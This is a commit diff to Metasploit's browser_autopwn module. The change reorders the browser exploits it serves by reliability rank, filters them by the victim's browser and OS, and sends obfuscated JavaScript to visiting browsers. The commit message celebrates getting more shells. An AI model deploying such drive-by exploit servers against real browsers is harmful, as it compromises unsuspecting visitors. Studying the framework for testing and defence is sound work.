Skip to content

Commit 011b689

Browse files
committed
Merge 'neinwechter/browser_autopwn-updates'
Brings in neinwechter's BAP fixes. Seems to not only be a more sane strategy, but in practice, ends up with tons more shells for at least MSIE which is what most people are using it for anyway. [Closes rapid7#1612]
1 parent e377e30 commit 011b689

File tree

1 file changed

+66
-82
lines changed

1 file changed

+66
-82
lines changed

modules/auxiliary/server/browser_autopwn.rb

Lines changed: 66 additions & 82 deletions
Original file line numberDiff line numberDiff line change
@@ -385,8 +385,8 @@ def init_exploit(name, mod = nil, targ = 0)
385385
def start_exploit_modules()
386386
@lhost = (datastore['LHOST'] || "0.0.0.0")
387387

388-
@js_tests = {}
389388
@noscript_tests = {}
389+
@all_tests = {}
390390

391391
print_line
392392
print_status("Starting exploit modules on host #{@lhost}...")
@@ -446,20 +446,24 @@ def start_exploit_modules()
446446
end
447447

448448
# Now that we've got all of our exploit tests put together,
449-
# organize them into requires-scripting and
450-
# doesnt-require-scripting, sorted by browser name.
449+
# organize them into an all tests (JS and no-JS), organized by rank,
450+
# and doesnt-require-scripting (no-JS), organized by browser name.
451451
if apo[:javascript] && apo[:ua_name]
452-
@js_tests[apo[:ua_name]] ||= []
453-
@js_tests[apo[:ua_name]].push(apo)
452+
@all_tests[apo[:rank]] ||= []
453+
@all_tests[apo[:rank]].push(apo)
454454
elsif apo[:javascript]
455-
@js_tests["generic"] ||= []
456-
@js_tests["generic"].push(apo)
455+
@all_tests[apo[:rank]] ||= []
456+
@all_tests[apo[:rank]].push(apo)
457457
elsif apo[:ua_name]
458458
@noscript_tests[apo[:ua_name]] ||= []
459459
@noscript_tests[apo[:ua_name]].push(apo)
460+
@all_tests[apo[:rank]] ||= []
461+
@all_tests[apo[:rank]].push(apo)
460462
else
461463
@noscript_tests["generic"] ||= []
462464
@noscript_tests["generic"].push(apo)
465+
@all_tests[apo[:rank]] ||= []
466+
@all_tests[apo[:rank]].push(apo)
463467
end
464468
end
465469

@@ -501,17 +505,15 @@ def start_exploit_modules()
501505
print_line
502506

503507
# Sort the tests by reliability, descending.
504-
@js_tests.each { |browser,tests|
505-
tests.sort! {|a,b| b[:rank] <=> a[:rank]}
506-
}
507-
508+
# I don't like doing this directly (wihout a !), but any other sort wasn't sticking - NE
509+
@all_tests = @all_tests.sort.reverse
510+
508511
# This matters a lot less for noscript exploits since they basically
509512
# get thrown into a big pile of iframes that the browser will load
510513
# semi-concurrently. Still, might as well.
511514
@noscript_tests.each { |browser,tests|
512515
tests.sort! {|a,b| b[:rank] <=> a[:rank]}
513516
}
514-
515517
end
516518

517519
#
@@ -746,91 +748,73 @@ def build_script_response(cli, request)
746748
# if we have no client_info, this will add all tests. Otherwise tries
747749
# to only send tests for exploits that target the client's detected
748750
# browser.
749-
@js_tests.each { |browser, sploits|
750-
next unless client_matches_browser(client_info, browser)
751-
752-
# Send all the generics regardless of what the client is. If the
753-
# client is nil, then we don't know what it really is, so just err
754-
# on the side of shells and send everything. Otherwise, send only
755-
# if the client is using the browser associated with this set of
756-
# exploits.
757-
if (browser == "generic" || client_info.nil? || [nil, browser].include?(client_info[:ua_name]))
758-
sploits.each do |s|
759-
if s[:vuln_test].nil? or s[:vuln_test].empty?
760-
test = "is_vuln = true"
761-
else
762-
# get rid of newlines and escape quotes
763-
test = s[:vuln_test].gsub("\n",'').gsub("'", "\\\\'")
764-
end
765-
# shouldn't be any in the resource, but just in case...
766-
res = exploit_resource(s[:name]).gsub("\n",'').gsub("'", "\\\\'")
767-
768-
# Skip exploits that don't match the client's OS.
769-
if (host_info and host_info[:os_name] and s[:os_name])
770-
# Reject exploits whose OS doesn't match that of the
771-
# victim. Note that host_info comes from javascript OS
772-
# detection, NOT the database.
773-
if host_info[:os_name] != "undefined"
774-
unless s[:os_name].include?(host_info[:os_name])
775-
vprint_status("Rejecting #{s[:name]} for non-matching OS")
776-
next
751+
752+
@all_tests.each { |rank, sploits|
753+
sploits.each { |s|
754+
browser = s[:ua_name] || "generic"
755+
next unless client_matches_browser(client_info, browser)
756+
757+
# Send all the generics regardless of what the client is. If the
758+
# client is nil, then we don't know what it really is, so just err
759+
# on the side of shells and send everything. Otherwise, send only
760+
# if the client is using the browser associated with this set of
761+
# exploits.
762+
if s[:javascript]
763+
if (browser == "generic" || client_info.nil? || [nil, browser].include?(client_info[:ua_name]))
764+
if s[:vuln_test].nil? or s[:vuln_test].empty?
765+
test = "is_vuln = true"
766+
else
767+
# get rid of newlines and escape quotes
768+
test = s[:vuln_test].gsub("\n",'').gsub("'", "\\\\'")
769+
end
770+
# shouldn't be any in the resource, but just in case...
771+
res = exploit_resource(s[:name]).gsub("\n",'').gsub("'", "\\\\'")
772+
773+
# Skip exploits that don't match the client's OS.
774+
if (host_info and host_info[:os_name] and s[:os_name])
775+
# Reject exploits whose OS doesn't match that of the
776+
# victim. Note that host_info comes from javascript OS
777+
# detection, NOT the database.
778+
if host_info[:os_name] != "undefined"
779+
unless s[:os_name].include?(host_info[:os_name])
780+
vprint_status("Rejecting #{s[:name]} for non-matching OS")
781+
next
782+
end
777783
end
778784
end
785+
786+
js << "global_exploit_list[global_exploit_list.length] = {\n"
787+
js << " 'test':'#{test}',\n"
788+
js << " 'resource':'#{res}'\n"
789+
js << "};\n"
790+
sploits_for_this_client.push s[:name]
791+
sploit_cnt += 1
792+
end
793+
else
794+
if s[:name] =~ %r|/java_|
795+
res = exploit_resource(s[:name]).gsub("\n",'').gsub("'", "\\\\'")
796+
js << "global_exploit_list[global_exploit_list.length] = {\n"
797+
js << " 'test':'is_vuln = navigator.javaEnabled()',\n"
798+
js << " 'resource':'#{res}'\n"
799+
js << "};\n"
800+
else
801+
# Some other kind of exploit that we can't generically
802+
# check for in javascript, throw it on the pile.
803+
noscript_html << html_for_exploit(s, client_info)
779804
end
780-
js << "global_exploit_list[global_exploit_list.length] = {\n"
781-
js << " 'test':'#{test}',\n"
782-
js << " 'resource':'#{res}'\n"
783-
js << "};\n"
784805
sploits_for_this_client.push s[:name]
785806
sploit_cnt += 1
786807
end
787-
end
788-
}
789-
790-
# Add a javaEnabled() test specifically for java exploits. Other
791-
# exploits that don't require javascript go into a big pile of iframes
792-
# that will be dumped out after other exploitation is done, assuming
793-
# the browser didn't stop somewhere along the way due to a successful
794-
# exploit or a crash from all the memory raping we just did.
795-
noscript_html = ""
796-
@noscript_tests.each { |browser, sploits|
797-
sploits.each do |s|
798-
if s[:name] =~ %r|/java_|
799-
res = exploit_resource(s[:name]).gsub("\n",'').gsub("'", "\\\\'")
800-
js << "global_exploit_list[global_exploit_list.length] = {\n"
801-
js << " 'test':'is_vuln = navigator.javaEnabled()',\n"
802-
js << " 'resource':'#{res}'\n"
803-
js << "};\n"
804-
else
805-
# Some other kind of exploit that we can't generically
806-
# check for in javascript, throw it on the pile.
807-
noscript_html << html_for_exploit(s, client_info)
808-
end
809-
sploits_for_this_client.push s[:name]
810-
sploit_cnt += 1
811-
end
808+
}
812809
}
813810

814-
# If all of our exploits that require javascript fail, try to continue
815-
# with those that don't
816-
js << %Q|var noscript_exploits = "|
817-
js << Rex::Text.to_hex(noscript_html, "%")
818-
js << %Q|";\n|
819-
js << %Q|var noscript_div = document.createElement("div");\n|
820-
# Have to use innerHTML here to render the new iframes. Using
821-
# document.createElement and appendChild() will escape all the
822-
# entities.
823-
js << %Q|noscript_div.innerHTML = unescape(noscript_exploits);\n|
824-
js << %Q|document.body.appendChild(noscript_div);\n|
825-
826811
js << "#{js_debug("'starting exploits (' + global_exploit_list.length + ' total)<br>'")}\n"
827812
js << "window.next_exploit(0);\n"
828813

829814
js = ::Rex::Exploitation::JSObfu.new(js)
830815
js.obfuscate unless datastore["DEBUG"]
831816

832817
response.body = "#{js}"
833-
834818
print_status("Responding with #{sploit_cnt} exploits")
835819
sploits_for_this_client.each do |name|
836820
vprint_status("* #{name}")

0 commit comments

Comments
 (0)